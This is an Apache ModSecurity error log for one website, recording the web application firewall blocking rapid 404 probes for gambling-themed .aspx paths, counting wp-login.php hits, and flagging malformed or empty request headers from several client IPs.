[Fri Feb 06 21:06:27.840416 2026] [:error] [pid 36928:tid 36947] [client 51.75.119.165:53590] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYXnU5s7fyU8D36r-OpwvgAAAc8"]
[Fri Feb 06 21:06:30.221700 2026] [:error] [pid 3381:tid 3432] [client 51.75.119.165:53596] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aYXnVi81zqRg96ZREghrlAAAAFM"]
[Fri Feb 06 21:06:32.744769 2026] [:error] [pid 36928:tid 36945] [client 51.75.119.165:58590] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYXnWJs7fyU8D36r-OpwwgAAAc0"]
[Fri Feb 06 21:06:35.253823 2026] [:error] [pid 3477:tid 3492] [client 51.75.119.165:58598] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYXnW7L0Hdh40C7HYgVzAgAAAM0"]
[Fri Feb 06 21:06:37.760663 2026] [:error] [pid 36857:tid 36861] [client 51.75.119.165:58600] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYXnXZVQwfj7Kp4Dd0HxSwAAAYI"]
[Fri Feb 06 21:06:40.275374 2026] [:error] [pid 36857:tid 36883] [client 51.75.119.165:58606] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYXnYJVQwfj7Kp4Dd0HxTwAAAZg"]
[Fri Feb 06 21:06:42.660705 2026] [:error] [pid 3513:tid 3533] [client 51.75.119.165:53898] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYXnYjSw3-HAlzpqSxzSYwAAAVI"]
[Fri Feb 06 21:06:45.169362 2026] [:error] [pid 46432:tid 46441] [client 51.75.119.165:53900] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYXnZQbwJwu_od0kZjMpJAAAAkc"]
[Fri Feb 06 21:06:47.676235 2026] [:error] [pid 37019:tid 37042] [client 51.75.119.165:53906] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYXnZwkAjqd3bcgYBrtlkwAAAhU"]
[Fri Feb 06 21:06:50.182613 2026] [:error] [pid 3380:tid 3392] [client 51.75.119.165:53916] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYXnahFAlUvBGSBK2jdmWgAAAAg"]
[Fri Feb 06 21:06:52.689617 2026] [:error] [pid 46432:tid 46438] [client 51.75.119.165:50726] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYXnbAbwJwu_od0kZjMpLAAAAkQ"]
[Fri Feb 06 21:06:55.201746 2026] [:error] [pid 36857:tid 36869] [client 51.75.119.165:50742] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYXnb5VQwfj7Kp4Dd0HxWwAAAYo"]
[Fri Feb 06 21:06:57.706424 2026] [:error] [pid 3381:tid 3416] [client 51.75.119.165:50758] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYXncS81zqRg96ZREghrsQAAAEM"]
[Fri Feb 06 21:07:00.196264 2026] [:error] [pid 15821:tid 15833] [client 51.75.119.165:50770] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYXndHARQa67J4c772kM3AAAAQg"]
[Fri Feb 06 21:07:02.696947 2026] [:error] [pid 46432:tid 46447] [client 51.75.119.165:55684] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYXndgbwJwu_od0kZjMpMwAAAk0"]
[Fri Feb 06 21:07:05.201583 2026] [:error] [pid 3477:tid 3486] [client 51.75.119.165:55700] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYXnebL0Hdh40C7HYgVzHAAAAMc"]
[Fri Feb 06 21:07:07.534708 2026] [:error] [pid 46432:tid 46453] [client 51.75.119.165:55714] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYXnewbwJwu_od0kZjMpOgAAAlM"]
[Fri Feb 06 21:07:10.027804 2026] [:error] [pid 3380:tid 3400] [client 51.75.119.165:55728] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYXnfhFAlUvBGSBK2jdmawAAABA"]
[Fri Feb 06 21:07:12.517245 2026] [:error] [pid 15821:tid 15848] [client 51.75.119.165:43526] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aYXngHARQa67J4c772kM8AAAARc"]
[Fri Feb 06 21:07:14.841633 2026] [:error] [pid 36928:tid 36941] [client 51.75.119.165:43540] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aYXngps7fyU8D36r-Opw1QAAAck"]
[Fri Feb 06 21:07:36.256637 2026] [:error] [pid 3477:tid 3490] [client 51.75.119.165:43556] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYXnmLL0Hdh40C7HYgVzUAAAAMs"]
[Fri Feb 06 21:07:38.774447 2026] [:error] [pid 36928:tid 36951] [client 51.75.119.165:60636] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYXnmps7fyU8D36r-Opw4gAAAdM"]
[Fri Feb 06 21:07:41.251949 2026] [:error] [pid 3381:tid 3423] [client 51.75.119.165:60638] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYXnnS81zqRg96ZREghr-wAAAEo"]
[Fri Feb 06 21:07:43.588039 2026] [:error] [pid 36928:tid 36955] [client 51.75.119.165:44058] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYXnn5s7fyU8D36r-Opw6AAAAdc"]
[Fri Feb 06 21:07:46.208546 2026] [:error] [pid 3380:tid 3399] [client 51.75.119.165:44066] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYXnohFAlUvBGSBK2jdmkgAAAA8"]
[Fri Feb 06 21:07:48.693689 2026] [:error] [pid 15821:tid 15836] [client 51.75.119.165:44082] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYXnpHARQa67J4c772kNCwAAAQs"]
[Fri Feb 06 21:07:51.163863 2026] [:error] [pid 3477:tid 3484] [client 51.75.119.165:44092] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYXnp7L0Hdh40C7HYgVzWQAAAMU"]
[Fri Feb 06 21:07:53.784474 2026] [:error] [pid 36928:tid 36944] [client 51.75.119.165:53754] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYXnqZs7fyU8D36r-Opw8AAAAcw"]
[Fri Feb 06 21:07:56.099893 2026] [:error] [pid 3381:tid 3437] [client 51.75.119.165:53756] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYXnrC81zqRg96ZREghsEwAAAFg"]
[Fri Feb 06 21:07:58.589084 2026] [:error] [pid 3513:tid 3538] [client 51.75.119.165:53760] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYXnrjSw3-HAlzpqSxzSoAAAAVc"]
[Fri Feb 06 21:08:01.220306 2026] [:error] [pid 37019:tid 37030] [client 51.75.119.165:53766] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYXnsQkAjqd3bcgYBrtlugAAAgk"]
[Fri Feb 06 21:08:03.837701 2026] [:error] [pid 3381:tid 3436] [client 51.75.119.165:45146] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYXnsy81zqRg96ZREghsIgAAAFc"]
[Fri Feb 06 21:08:06.308281 2026] [:error] [pid 3382:tid 3453] [client 51.75.119.165:45160] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYXntsIgU1HR0rhYrE9UmgAAAI0"]
[Fri Feb 06 21:08:08.938907 2026] [:error] [pid 37019:tid 37029] [client 51.75.119.165:45176] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYXnuAkAjqd3bcgYBrtlvAAAAgg"]
[Fri Feb 06 21:08:11.421024 2026] [:error] [pid 3381:tid 3414] [client 51.75.119.165:41286] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYXnuy81zqRg96ZREghsJgAAAEE"]
[Fri Feb 06 21:08:14.050423 2026] [:error] [pid 3381:tid 3419] [client 51.75.119.165:41298] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYXnvi81zqRg96ZREghsLQAAAEY"]
[Fri Feb 06 21:08:16.513319 2026] [:error] [pid 15821:tid 15835] [client 51.75.119.165:41302] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYXnwHARQa67J4c772kNFgAAAQo"]
[Fri Feb 06 21:54:40.052078 2026] [:error] [pid 15821:tid 15842] [client 146.70.250.132:55884] [client 146.70.250.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api/graphql"] [unique_id "aYXyoHARQa67J4c772kVtAAAARE"]
[Fri Feb 06 21:54:40.860347 2026] [:error] [pid 36857:tid 36864] [client 146.70.250.132:57120] [client 146.70.250.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/catalogsearch/advanced/result/"] [unique_id "aYXyoJVQwfj7Kp4Dd0H4ZQAAAYU"]
[Fri Feb 06 21:54:41.668200 2026] [:error] [pid 3381:tid 3414] [client 146.70.250.132:57442] [client 146.70.250.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rest/V1/search"] [unique_id "aYXyoS81zqRg96ZREgh1kQAAAEE"]
[Fri Feb 06 23:20:59.554962 2026] [:error] [pid 36928:tid 36953] [client 207.154.228.27:63696] [client 207.154.228.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.154.228.27, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aYYG25s7fyU8D36r-OqLPwAAAdU"]
[Fri Feb 06 23:21:00.654417 2026] [:error] [pid 3382:tid 3457] [client 207.154.228.27:63732] [client 207.154.228.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.154.228.27, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aYYG3MIgU1HR0rhYrE9w6gAAAJE"]
[Sat Feb 07 04:52:11.119612 2026] [:error] [pid 50780:tid 50791] [client 114.96.103.33:35744] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYZUe-tUmIu2JHM2CruSCgAAAMk"]
[Sat Feb 07 04:54:12.166458 2026] [:error] [pid 50672:tid 50715] [client 216.73.216.88:29145] [client 216.73.216.88] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||measureyourbrand.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aYZU9A9o0jq1XS8Nv7NysgAAAEc"]
[Sat Feb 07 07:12:18.701882 2026] [:error] [pid 43182:tid 43205] [client 65.108.78.33:7672] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYZ1UvEC82JnxmrnFYngyAAAAVU"]
[Sat Feb 07 07:12:21.677620 2026] [:error] [pid 55157:tid 55170] [client 65.108.78.33:7684] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYZ1VX36JdtTn2bTEowENgAAAQg"]
[Sat Feb 07 07:12:24.375847 2026] [:error] [pid 43182:tid 43187] [client 65.108.78.33:40088] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYZ1WPEC82JnxmrnFYng0wAAAUM"]
[Sat Feb 07 07:12:27.114839 2026] [:error] [pid 50673:tid 50755] [client 65.108.78.33:40096] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYZ1W2VwLsaZ7aKO2ckW1wAAAJQ"]
[Sat Feb 07 07:12:29.757762 2026] [:error] [pid 50672:tid 50721] [client 65.108.78.33:40108] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYZ1XQ9o0jq1XS8Nv7Ob3QAAAE0"]
[Sat Feb 07 07:12:32.262436 2026] [:error] [pid 43182:tid 43193] [client 65.108.78.33:40120] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYZ1YPEC82JnxmrnFYng3wAAAUk"]
[Sat Feb 07 07:12:34.906338 2026] [:error] [pid 55157:tid 55181] [client 65.108.78.33:39598] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYZ1Yn36JdtTn2bTEowEUAAAARM"]
[Sat Feb 07 07:12:37.493939 2026] [:error] [pid 50673:tid 50757] [client 65.108.78.33:39608] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYZ1ZWVwLsaZ7aKO2ckW6QAAAJY"]
[Sat Feb 07 07:12:40.293737 2026] [:error] [pid 55157:tid 55186] [client 65.108.78.33:39624] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aYZ1aH36JdtTn2bTEowEWgAAARg"]
[Sat Feb 07 07:12:43.028364 2026] [:error] [pid 43182:tid 43199] [client 65.108.78.33:37552] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYZ1a_EC82JnxmrnFYnhCAAAAU8"]
